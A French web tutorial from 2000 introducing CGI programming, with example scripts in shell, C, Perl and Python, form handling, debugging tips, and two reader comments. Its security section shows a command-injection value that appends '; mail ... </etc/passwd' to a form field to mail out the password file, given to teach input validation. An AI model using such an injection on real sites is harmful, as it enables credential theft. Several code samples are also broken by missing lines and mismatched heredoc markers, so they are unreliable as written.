23 décembre 2000 Dans Programmation

Introduction au CGI (Common Gateway Interface)

Introduction

La Common Gateway Interface (CGI) est une norme définissant l’interfaçage d’applications externes avec des serveurs d’information. Ici nous parlerons de l’interfaçage avec un Serveur HTTP (Serveur Web)

cgi

Le CGI c’est une application qui génère des pages HTML construites à la demande. Elles sont construites le temps d’une requête, dynamiquement. Un seul CGI peut contenir plusieurs pages HTML.

Le CGI c’est aussi lui qui peut recevoir le résultat d’un formulaire HTML. Il peut enregistrer ces données, ou les traiter d’une façon différente.

En général, le CGI s’oppose aux pages HTML par le fait que le CGI est un programme, écrit donc dans un langage de programmation (Perl, Python, C, C++) et génère du code HTML (dynamique) alors que les pages HTML sont écrites en HTML une fois pour toute (statique). La différence entre toto.doc, document texte et winword.exe l’exécutable qui lance Word !

Pourquoi utiliser les CGI ?

Lorsqu’un document HTML est envoyé sur le Web, il s’agit d’un fichier texte statique dont l’information ne change pas tant que vous ne l’avez pas réédité. Grâce au CGI, vous pouvez faire modifier cette page dynamiquement. Le CGI permet d’afficher un résultat dans la mesure où ce programme est exécuté en temps réel, au moment où le client fait une requête au serveur.

Prérequis et choix techniques

Dans ce document, je suppose connues les bases du langage HTML. Pour l’écriture des programmes, la connaissance d’un langage de programmation plus ou moins évolué est bien entendu nécessaire (par exemple, C, Perl, Python). Nous supposons un serveur Web tournant sur une machine Linux, avec comme serveur HTTP Apache…

Spécification

Etant donné qu’un programme CGI est un exécutable, son utilisation correspond quasiment à laisser n’importe qui exécuter un programme sur votre ordinateur… Il faut donc prendre quelques précautions au niveau de la sécurité…

C’est pour cela que la plupart des serveurs publics n’offrent pas cette possibilité…

Les fichiers sont généralement placés dans un répertoire spécifique nommé /cgi-bin/. Tout fichier dans ce répertoire est considéré comme un exécutable. De fait lorsque le serveur HTTP reçoit une requête du type , le fichier sera exécuté, et ce sera le résultat qui sera renvoyé à l’utilisateur…

Il est à noter que le fichier doit posséder les permissions d’exécution pour tous, en particulier si vous êtes sur un serveur Unix…

Un programme CGI peut être écrit dans n’importe quel langage de programmation disponible tant qu’il est disponible sur votre système. Les seules conditions sont que le langage puisse lire sur l’entrée standard, écrire sur la sortie standard et accéder aux variables d’environnement.

Vous pouvez aussi utiliser comme langage de développement de CGI : C et C++, Python, Perl, Fortran, TCL, sh, csh, ksh ou n’importe quel autre shell UNIX, Visual Basic (sous Windows), AppleScript (sur Macintosh)…

Premiers Programmes

Voici quelques exemples de programmes CGI extrêmement simples écrits en différent langage qui produisent un document HTML contenant « Salut à tous voici mon premier script CGI ».

En Shell

#!/bin/sh

cat << EndFile

Content-type: text/html

<HTML>

<HEAD><TITLE>Mon premier script CGI</TITLE></HEAD>

<H1>Salut à tous<p>voici mon premier script CGI</H1>

</CENTER>

</BODY>

</HTML>

EndFile

En C

#include <stdio.h>

main()

{

printf(« Content-type: text/html\n\n »);

printf(« <HEAD><TITLE>Mon premier script CGI</TITLE></HEAD>\n »);

printf(« <BODY BGCOLOR=\ »#FFFFFF\ »>\n »);

printf(« <BR><BR><BR><BR>\n »);

printf(« <CENTER>\n »);

printf(« <H1>Salut à tous<p>voici mon premier script CGI</H1>\n »);

printf(« </CENTER>\n »);

printf(« </BODY>\n »);

printf(« </HTML>\n »);

}

En Perl

#!/usr/bin/perl

print « Content-type: text/html\n\n »;

print <<EOF;

<HEAD><TITLE>Mon premier script CGI</TITLE></HEAD>

<H1>Salut à tous<p>voici mon premier script CGI</H1>

</CENTER>

</BODY>

</HTML>

EOF

En Python

#!/usr/bin/python

print « Content-type: text/html\n\n »

print « » »

<HEAD><TITLE>Mon premier script CGI</TITLE></HEAD>

<H1>Salut à tous<p>voici mon premier script CGI</H1>

</CENTER>

</BODY>

</HTML>

« » »

Installation CGI sur le serveur

Une fois le programme entré (et compiler pour l’exemple en C), vous devez le copier dans votre répertoire des CGI (en générale /cgi-bin/), le rendre exécutable en changeant ces permissions (chmod 755 salut.cgi), dans le cas d’un CGI en Perl ou en Python, vérifier le chemin (PATH) de l’exécutable ( faire la commande pwd sous UNIX), puis tester…

p style= »margin-bottom: 0cm; » lang= »fr-FR »>Vous devez obtenir :
Salut à tous voici mon premier script CGI

Les entrées sorties

La communication en entrée peut se faire via des variables d’environnement ou directement via l’entrée standard (STDIN), La sortie se fait via la sortie standard (STDOUT) sur laquelle on envoie les informations à afficher sous forme identifiée. Nous y reviendrons à la fin de cette section.

Voici une liste d’un certain nombre de ‘variables d’environnement’ accessibles par un programme CGI.

Variables d’environnement

Variables relatives à la requête

CONTENT_LENGTH :

Taille en octets du contenu des informations jointes à la requête en mode PUT ou POST, vide si on utilise la méthode GET.

CONTENT_TYPE :

Type MIME des données envoyées au programme CGI appelé par la méthode POST, vide si on utilise la méthode GET.

QUERY_STRING :

Chaîne de caractères au format URL contenant les paramètres joints à la requête GET. Contient les données d’entrée du programme précédé du caractère ‘?’. Elle est vide si on utilise la méthode POST, a moins qu’il y ait déjà quelque chose derrière l’URL du script.

REQUEST_METHOD :

Contient la méthode utilisée pour la requête (GET, POST, HEAD, PUT, DELETE, LINK), sert pour déterminer la méthode utilisée pour traiter les données.

Variables relatives à la connexion client-serveur

On appelle client HTTP, le programme utilisateur qui fait la requête, en général c’est un nanigateur.

HTTP_ACCEPT :

Les différents types MIME supportés par le client HTTP (Format: type/soustype).

HTTP_ACCEPT_LANGUAGE :

Langage utilisé par le client HTTP.

HTTP_ACCEPT_ENCODING :

Type d’encodage supporté par le client HTTP.

HTTP_ACCEPT_CHARSET :

Table de caractères supportée par le client HTTP.

HTTP_COOKIE :

Liste des ‘Cookies’ associés par le client HTTP à la ressource consultée.

HTTP_USER_AGENT :

Signature du client HTTP effectuant la requête (Format: software/version ou library/version).

HTTP_REFERER :

URL de la ressource ayant renvoyé le client HTTP sur la requête en cours.

REMOTE_ADDR :

Adresse IP de l’ordinateur client effectuant la requête. Cette variable permet de repérer, d’identifier des ordinateurs et d’effectuer quelque chose en conséquence (empêcher l’accès, donner des droits supplémentaires par exemple).

REMOTE_HOST :

Adresse DNS (nom de domaine) de l’ordinateur client effectuant la requête. Cette variable est très utilisée pour afficher des publicités en rapport avec le pays d’origine par exemple.

REMOTE_USER :

Identifiant de l’utilisateur du client, lorsque le mode d’authentification de la ressource est actif.

AUTH_TYPE :

Si le serveur supporte l’authentification et que le script est protégé, indique le protocole utilisé pour valider l’identité.

REMOTE_PORT :

Port utilisé par le client HTTP pour cette connexion. Souvent absente

Variables relatives au serveur

DOCUMENT_ROOT :

Nom du répertoire physique contenant la racine du serveur consulté sur la machine.

GATEWAY_INTERFACE :

La version du standard CGI supportée par le serveur HTTP (Format: CGI/révision).

HTTP_HOST ou SERVER_NAME :

Adresse IP ou DNS de la machine hébergeant le serveur HTTP.

SERVER_ADMIN :

Adresse e-mail déclarée par l’administrateur du serveur.

SCRIPT_NAME :

URL du chemin d’accès au script CGI.

SCRIPT_FILENAME :

Nom et chemin d’accès complet au CGI sur le disque du serveur consulté.

SERVER_PORT :

Port sur lequel le serveur a réceptionné la requête

SERVER_PROTOCOL :

Nom et version du protocole utilisé par le serveur HTTP (Format: protocol/révision).

SERVER_SOFTWARE

Nom et version du logiciel serveur HTTP utilisé. (Format nom/version)

TZ :

Nom de la ‘Time Zone’ définie sur la machine du serveur HTTP.

Les entrées sorties standards

L’entrée standard

On appel méthode la façon de passer les informations du serveur au programme CGI. Elles définissent la façon dont le programme reçoit les données.

Il faut différencier 2 méthodes :

La méthode GET :

Quand on utilise cette méthode, le programme reçoit les données dans la variable d’environnement QUERY_STRING. La méthode GET ne peut être utilisée que si les données d’entrées ne sont pas trop importantes, ni confidentielle car cette méthodes passe les arguments dans l’URL donc visible, de plus la longueur d’une URL est est limitée à 1024 caractères.

La méthode POST :

Quand on utilise cette méthode, les données à traiter sont transmises via l’entrée standard (STDIN). Le serveur n’indiquant pas la fin de la chaîne avec un caractère spécial, il faut utiliser la variable d’environnement CONTENT_LENGTH pour connaître la longueur des données.

Dans les 2 cas les données sont transmises sous forme URL-encoded; c’est-à-dire que les espaces sont remplacés par des signes %20, les tildes (~) sont remplacés par %7E et ainsi de suite…

La sortie standard

Le programme CGI envoie les résultats vers la sortie standard (STDOUT soit l’écran en général). Ils peuvent être envoyés directement vers le client HTTP ou être interprétés par le serveur qui va effectuer une nouvelle action.

Dans les résultats renvoyés, le serveur cherche un des 3 en-têtes que le programme peut retourner :

Content-type :

Indique le type MIME des données. Généralement comme les programmes CGI renvoient de l’HTML, la ligne utilisée est Content-type: text/html\n\n. Attention à bien mettre les 2 nouvelles lignes (\n)

Location :

Indique au serveur que l’on fait référence à un autre document. Utilisé pour faure des redirections.

Status :

C’est le code d’état renvoyé par le serveur au client. Format : nnn XXXXXXX où nnn est un nombre à 3 chiffres et XXXXXX le texte qui y correspond. Exemple : 404 Not found.

Les formulaires

Méthode GET

Name : <INPUT TYPE= »text » NAME= »Name »><BR>

E-Mail : <INPUT TYPE= »text » NAME= »Mail »><BR>

</FORM>

Méthode POST

Name : <INPUT TYPE= »text » NAME= »Name »><BR>

E-Mail : <INPUT TYPE= »text » NAME= »Mail »><BR>

</FORM>

En Shell

#!/bin/sh

if [ « $REQUEST_METHOD » = « POST » ]; then

read QUERY_STRING

RECU= »STDIN (Methode POST) »

else

RECU= »QUERY_STRING (Methode GET) »

# On remplace les & par des ‘ ‘, découpe la chaine de donnees en des paires name=value

OPTS=`echo $QUERY_STRING | sed ‘s/&/ /g’`

echo « Content-type: text/html »

echo « »

echo « <HTML><HEAD><TITLE>Resultat</TITLE></HEAD> »

echo « <BODY BGCOLOR=\ »#FFFFFF\ »> »

echo « <H1>Résultat du traitement du formulaire</H1> »

echo « <H2>Chaine de données reçue par le CGI</H2> »

echo « $RECU <B>$QUERY_STRING</B> »

echo « <H2>Liste des informations décodées</H2> »

# Récuperation et mise en forme des donnees

echo « <UL> »

for opt in $OPTS

NAME=`echo $opt

| sed ‘s/=/ /g’

| awk ‘{print $1}’`

VALUE=`echo $opt

| sed ‘s/=/ /g’

| awk ‘{print $2}’

| sed ‘s,%,\\\x,g’

| sed ‘s/+/ /g’`

echo « <LI><B>$NAME: </B>$VALUE »

done

echo « </UL> »

echo « </BODY></HTML> »

En C

On remarque dans cette exemple que l’on utilise la fonction ‘getenv(« Nom Variable »)’ pour récupérer les variables d’environnements. En C le traitement des chaînes de caractères étant moins aisé l’ajout de cette partie alourdirait considérablement l’exemple pour rien. Il est à noter qu’il existe une bibliothèque ‘cgi-util’ permettant de simplifier considérablement la récupération des informations, voir second exemple.

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

int c;

printf(« Content-type: text/html\n\n »);

printf(« <HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n »);

printf(« <BODY BGCOLOR=\ »#FFFFFF\ »>\n »);

printf(« <H1>Résultat du traitement du formulaire</H1>\n »);

printf(« <H2>Chaine de données reçue par le CGI</H2> »);

/* verification des variables d’environnement */

if (strcmp (getenv(« REQUEST_METHOD »), »POST ») == 0) {

printf(« STDIN (Methode POST) <B> »);

while((c=getchar()) != EOF) {

printf(« %c » ,c);

}

printf(« </B> »);

}

if (strcmp(getenv(« REQUEST_METHOD »), »GET ») == 0) {

printf(« QUERY_STRING (Methode GET) <B>%s</B> »,

getenv(« QUERY_STRING »));

}

printf(« <H2>Liste des informations décodées</H2> »);

printf(« Non traitée dans cet exemple… »);

printf(« </BODY></HTML>\n »);

}

En utilisant la bibliothèque ‘cgi-util’.

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include « cgi-util.h »

#define STRLEN 1024

main(int argc, char *argv[])

{

char name[STRLEN];

char mail[STRLEN];

printf(« Content-type: text/html\n\n »);

printf(« <HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n »);

printf(« <BODY BGCOLOR=\ »#FFFFFF\ »>\n »);

printf(« <H1>Résultat du traitement du formulaire</H1>\n »);

printf(« <H2>Chaine de données reçue par le CGI</H2> »);

printf(« Non traitée dans cet exemple… »);

/* Initialise CGI */

cgiinit();

/* Recupération des informations */

getentry(name, « Name »);

getentry(mail, « Mail »);

printf(« <H2>Liste des informations décodées</H2> »);

printf(« <UL><LI>Name : %s », name);

printf(« <LI><B>E-Mail: </B>%s</UL> », mail);

printf(« </BODY></HTML>\n »);

}

En Perl

On remarque dans cette exemple que les valeurs sont stockées dans le tableau associatif ‘%ENV’, on utilise ‘$ENV{« Nom Variable »}’ pour récupérer la variable d’environnement. Il est à noter qu’il existe des bibliothèques ‘cgi-lib’ permettant de simplifier considérablement la récupération des informations, voir second exemple.

#!/usr/bin/perl

# Récupération des informations

if ($ENV{‘REQUEST_METHOD’} eq « POST » ) {

read(STDIN, $buffer, $ENV{‘CONTENT_LENGTH’});

$Recu= »STDIN (Methode POST) » }

else {

$Recu= »QUERY_STRING (Methode GET) »;

$buffer = $ENV{‘QUERY_STRING’};

}

# Traitement et découpage.

@pairs = split(/&/, $buffer);

foreach $pair (@pairs) {

($name, $value) = split(/=/, $pair);

$value =~ tr/+/ /;

$value =~ s/%(..)/pack(« C », hex($1))/eg;

$FORM{$name} = $value;

}

print « Content-type: text/html\n\n »;

print « <HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n »;

print « <BODY BGCOLOR=\ »#FFFFFF\ »>\n »;

print « <H1>Résultat du traitement du formulaire</H1>\n »;

print « <H2>Chaine de données reçue par le CGI</H2>\n »;

print « $Recu <B>$buffer</B>\n »;

print « <H2>Liste des informations décodées</H2>\n »;

print « <UL>\n »;

foreach $match (keys (%FORM)) {

print « <LI><B>$match: </B> ».$FORM{$match};

}

print « </UL>\n »;

print « </BODY></HTML>\n »;

En utilisant la bibliothèque ‘cgi-lib’.

#!/usr/bin/perl

require « cgi-lib.pl »;

# Récupération des informations

&ReadParse(*FORM);

print « Content-type: text/html\n\n »;

print « <HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n »;

print « <BODY BGCOLOR=\ »#FFFFFF\ »>\n »;

print « <H1>Résultat du traitement du formulaire</H1>\n »;

print « <H2>Chaine de données reçue par le CGI</H2>\n »;

print « Non traitée dans cet exemple…\n »;

print « <H2>Liste des informations décodées</H2>\n »;

print « <UL>\n »;

foreach $match (keys (%FORM)) {

print « <LI><B>$match: </B> ».$FORM{$match};

}

print « </UL>\n »;

print « </BODY></HTML>\n »;

En utilisant le module CGI.

#!/usr/bin/perl -w

use CGI;

use strict;

# Création de l’objet CGI

my $query_cgi = new CGI;

print $query_cgi->header; # « Content-type: text/html\n\n »; print $query_cgi->start_html(

-title => ‘Résultat’,

-bgcolor => ‘#FFFFFF’);

print $query_cgi->h1(‘Résultat du traitement du formulaire’);

print $query_cgi->h2(‘Chaine de données reçue par le CGI’);

print « Non traitée dans cet exemple…\n »;

print $query_cgi->h2(‘Liste des informations décodées<‘);

print « <UL>\n »;

foreach ($query_cgi->param) {

print « <LI><B>$_:</B> « .$query_cgi->param($_);

}

print « </UL>\n »;

print $query_cgi->end_html;

Debugger un script CGI

Vous venez de terminer la lecture de ce document, d’écrire un script CGI et là lorsque vous lancer votre navigateur pour faire un test, vous voyez apparaître à la place de la sortie attendue de votre programme : « Error 500 : Internal server error » qui ne vous explique pas grand chose…

Nous voila donc dans le coeur du problème, le programme étant lancé par le serveur HTTP il n’indique pas pourquoi il y a une erreur. C’est donc à vous de la trouver.

La première chose à vérifier est que lorsque vous exécuter le programme manuellement il ne produise pas d’erreur, (au besoin connectez vous telnet sur le serveur) placez vous dans le répertoire ‘cgi-bin’ contenant le programme et exécutez le par ‘./mon_cgi.cgi’. S’il produit une erreur, corrigez la et refaite un essais.

Une erreur fréquente si votre CGI est un script est que la première ligne ‘#!/bin/sh’ ou ‘#!/usr/bin/perl’ ne correspond pas à une chemin d’interpréteur valide.

Si l’erreur ne venait pas de là, vérifiez bien que le programme soit exécutable par tous dans le cas d’un programme compilé, et lisible et exécutable par tous dans le cas d’un script. En effet souvent le serveur exécute votre programme sous un nom d’utilisateur différent du votre (nobody). Dans ce cas, faite un petit ‘chmod 555 mon_cgi.cgi’ .

Si malgré ces points il se produit toujours une erreur, toujours en le lançant manuellement, vérifier bien que le ‘Content-type: text/html’ soit bien suivit d’une ligne blanche, et qu’il n’y ait rien d’afficher avant. En effet dans le cas contraire le navigateur ne sait pas interpréter le résultat et produit l’erreur.

Cela arrive souvent lorsque l’on utilise une vérification d’arguments ou de validité d’ouverture d’un fichier avant d’afficher le ‘Content-type’, un conseil le mettre toujours en début de programme, cela permet de voir tous les message de vérification que l’on insère sans risque d’avoir le ‘Internal server error’.

Après ces vérification votre programme devrait afficher un résultat, est-ce le résultat escompté ? si oui très bien, sinon vous devez reprendre le source pour chercher l’erreur…

Nota : Il existe en Perl, en C ou en python des bibliothèques permettant de vous aider à debugger les CGI. N’hésitez pas à les utiliser, elles peuvent vous faire gagner un temps précieux…

Sécurité

L’utilisation de scripts ou programmes CGI amène un certain nombre de questions relatives à la sécurité du système hôte du serveur web considéré. C’est souvent pour cette raison que la plupart des fournisseurs d’accès interdisent leurs utilisations.

Etant donné qu’un programme CGI est un exécutable, son utilisation correspond à laisser n’importe qui exécuter un programme sur votre ordinateur. Même si il est généralement exécuté avec des droits limités (login nobody) il est possible d’avoir accès à certains fichiers sensibles comme par exemple le célèbre /etc/passwd (fichier contenant les mots de passe crypté des utilisateurs). Un CGI mal écrit pourrait permettre à un utilisateur mal intentionné de récupérer ce dit fichier en vue d’y extraire les mots de passe des utilisateurs…

Prenons l’exemple très classique d’un script sous UNIX qui envoie le contenu d’un formulaire par mail, en utilisant le programme sendmail. A un moment du script, on exécute la commande suivante.

sendmail $DESTINATAIRE.

La variable DESTINATAIRE contiendrait l’adresse E-MAIL à laquelle on désire envoyer les données du formulaire. Si la valeur est récupérée via un champ caché du formulaire ont peut aisément récupéré la page contenant le formulaire, l’éditer en local en ajoutant ‘; mail [email protected] </etc/passwd’ après l’adresse, ce qui équivaut à lancer la commande suivant : ‘sendmail [email protected]; mail [email protected] </etc/passwd’.

Le script va donc exécuter normalement l’envoi du formulaire à l’adresse prévue. Mais aussi exécuter la commande mail permettant d’envoyer le fameux fichier /etc/passwd à l’adresse indiquée…

Comment ce protéger ce genre de problème ?

Pour ce protéger de ce genre de problème, il suffit tous simplement de vérifier la validité des informations reçues du client avant de faire l’envoie, par exemple une E-Mail ne peut contenir le caractère point-virgule, ni d’espace…

Il faut s’assurerez, qu’un CGI ne puisse pas planter quoi qu’il reçoive d’un client… Un autre exemple classique est d’envoyer plus de données que prévues dans un programme. Un plantage peut en effet remettre en cause l’intégrité du système hôte.

De plus il est possible de vérifier grâce à la variable ‘HTTP_REFERER’ si la requête vient bien de votre site web et non d’une adresse inconnue…

L’exemple précédent est un cas d’école. Mais dans des scripts CGI plus compliqué, il est plus délicat de repérer des éventuels risques en matière de sécurité. En général, il éviter le plus possible de faire des appels à une commande système (via la fonction system() par exemple), ainsi que d’écrire des script Shell a moins que vous soyez un spécialiste…

Une autre manière de ce protéger et d’éviter que les éventuels utilisateurs mal intentionné puissent accéder à vos sources afin de les étudier et de déceler la présence d’un trou de sécurité…

Exemples

Envoyer un mail

Le Formulaire

Name : <INPUT NAME= »name »><BR>

Addresse : <INPUT NAME= »address »><BR>

Ville <INPUT NAME= »city »><BR>

Code Postal <INPUT NAME= »zip »><BR>

Tel : <INPUT NAME= »phone »><BR>

E-Mail : <INPUT NAME= »email »><BR>

<BR>

</FORM>

Le Script 1

#!/usr/bin/perl

require « cgi-lib.pl »;

&ReadParse(%FORM);

# Récupère les informations provenant du formulaire dans %FORM

# Ouvre un Pipe avec le commande mail (Unix)

open(MAIL, »|/usr/sbin/sendmail username\@host.com ») || die « Peut pas ouvrir sendmail : $!\n »;

# Envoie les informations

print MAIL <<« EOF »;

From: Postmaster\@host.com (Administrateur du mail)

To: username\@host.com

Subject: Test Formulaire Mail

Mime-Version: 1.0\nContent-Type: text/plain; charset=iso-8859-1

Content-Transfer-Encoding: 8bit

Salut,

Ceci est un exemple d’envoie d’E-Mail par formulaire

Voici les informations envoyée :

Nom: $FORM{« name »}

Addresse: $FORM{« address »}

Ville: $FORM{« city »}

Code Postal: $FORM{« zip »}

Tel: $FORM{« phone »}

Email: $FORM{« email »}

EOF

close(MAIL);

print <<« EOF »;

Content-type: text/html

<H1>Merci $FORM{« name »}.</H1>

<H2>Les informations ont été envoyée avec sucès via E-Mmail</H2>

</BODY></HTML>

EOT

Script 2

Perl intègre un certain nombre de module ou package, dont un permettant d’envoyer des Mails voici donc un exemple utilisant le package Mail::Mailer.

#!/usr/bin/perl

use Mail::Mailer; # Utilisation du package Mail::Mailer.

require « cgi-lib.pl »;

&ReadParse(%FORM);

# Recupère les informations provenat du formulaire dans %FORM

# Ouvre Mail

$mailer = Mail::Mailer->new();

$mailer->open({ From => « Postmaster\@host.com »,

To => « username\@host.com »,

Subject => « Test Formulaire Mail »,

}) || die « Can’t open: $!\n »;

# Envoie les informations

print $mailer <<« EOF »;

Salut,

Ceci est un exemple d’envoie d’E-Mail par formulaire

Voici les informations envoyée :

Nom: $FORM{« name »}

Addresse: $FORM{« address »}

Ville: $FORM{« city »}

Code Postal: $FORM{« zip »}

Tel: $FORM{« phone »}

Email: $FORM{« email »}

EOF

$mailer->close();

print <<« EOF »;

Content-type: text/html

<H1>Merci $FORM{« name »}.</H1>

<H2>Les informations ont été envoyée avec sucès via E-Mmail</H2>

</BODY></HTML>

EOT

Script 3

Version python du scripte précédant un peut amélioré :

#!/usr/bin/python

import cgi, smtplib, string, os

gip = « 194.149.168.62 »

gserv = « toto.com »

print « Content-Type: text/HTML\n\n »

form = cgi.FieldStorage()

form_ok = 0

def sendmail(fromaddr,mailmsg):

server = smtplib.SMTP()

server.connect(‘localhost’, 25)

server.sendmail(fromaddr, toaddrs, mailmsg)

server.quit()

environ = os.environ

ip = environ[‘SERVER_ADDR’]

serv = environ[‘SERVER_NAME’]

if ip == gip and serv == gserv:

if form.has_key(« name ») and form.has_key(« email »):

if form[« name »].value != « » and form[« email »].value != « »:

form_ok = 1

fromaddr = form[« email »].value

toaddrs = « [email protected] »

name = form[« name »].value

address = form[« address »].value

city = form[« city »].value

zip = form[« zip »].value

phone = form[« phone »].value

mailmsg = « » »

Subject: %s Test Formulaire Mail\015\012

Nom : %s\015\012

Address : %s\015\012

City : %s\015\012

zip : %s\015\012

phone : %s\015\012

email : %s\015\012

« » » %(formtype, name,address,city,zip,phone,formtype)

sendmail(fromaddr,mailmsg)

print « » »<center><H1>Formulaire bien envoyé</H1>

<br></p></center> » » »

if not form_ok:

print « » »<center><H1>Error</H1>

<p>Remplire tout les champs obligatoir.</p><BR><BR>

<br></p></center> » » »

else:

print « <H1>Server Adresse Error</H1> »

Conclusion

p style= »margin-bottom: 0cm; » lang= »fr-FR »>Ce document est juste une introduction aux scripts CGI, il ne se veut pas exhaustif.
Et maintenant c’est à vous de faire vos scripts CGI…

Tags :

C CGI Perl Python shell

2 Comments

peyregne
13 décembre 2012 à 7 h 43 min Répondre

Cher monsieur,

Je suis confronté à un problème d’écriture d’un serveur sous CGI , difficile pour moi car je suis seul en brousse à Madagascar, avec un réseau théoriquement sous « edge » mais dont le débit dépasse difficilement les 1kb. En vacance à La Réunion, j’en profite pour glaner des informations. je suis tombé sur votre article.
Electronicien, je ne suis guère au fait des subtilités du net. Je tenais à vous remercier pour la qualité de votre document et la densité des informations qu’il contient. Félicitations pour la culture informatique dont vous faites preuve.
Cordialement.
Alain
- Mike Castro Demaria
  13 décembre 2012 à 10 h 46 min
  
  Merci beaucoup,
  
  Ça fait toujours plaisir d’être utile. Ce doc date un peu, mais reste une base utile. Sur le sujet, je vous conseil cet ouvrage <a href="http://www.amazon.fr/Programmation-CGI-Gundavaram/dp/2841770117/ref=sr_1_5?ie=UTF8&qid=1355391586&sr=8-5" title=" Programmation CGI" target="_blank" rel="nofollow noopener noreferrer">Programmation CGI / O’Reilly</a>, cela reste une référence, même si il date un peut. Les CGI ne sont plus gère utilisé en fait, que pour les api de payement bancaire généralement. Il est plus aisé d’utiliser les langages de type « server page » comme PHP, etc. .
  
  Si besoin, nous sommes aussi présents aussi à Tana (Assist Audiovisual), si vous avez besoin d’aide en local 😉 .
  
  Mike

Introduction au CGI (Common Gateway Interface)

Introduction

Pourquoi utiliser les CGI ?

Prérequis et choix techniques

Spécification

Premiers Programmes

En Shell

En C

En Perl

En Python

Installation CGI sur le serveur

Les entrées sorties

Variables d’environnement

Variables relatives à la requête

Variables relatives à la connexion client-serveur

Variables relatives au serveur

Les entrées sorties standards

L’entrée standard

La sortie standard

Les formulaires

Méthode GET

Méthode POST

En Shell

En C

En Perl

Debugger un script CGI

Sécurité

Comment ce protéger ce genre de problème ?

Exemples

Envoyer un mail

Le Formulaire

Le Script 1

Script 2

Script 3

Conclusion

Tags :

2 Comments

peyregne

Mike Castro Demaria

Publier un commentaire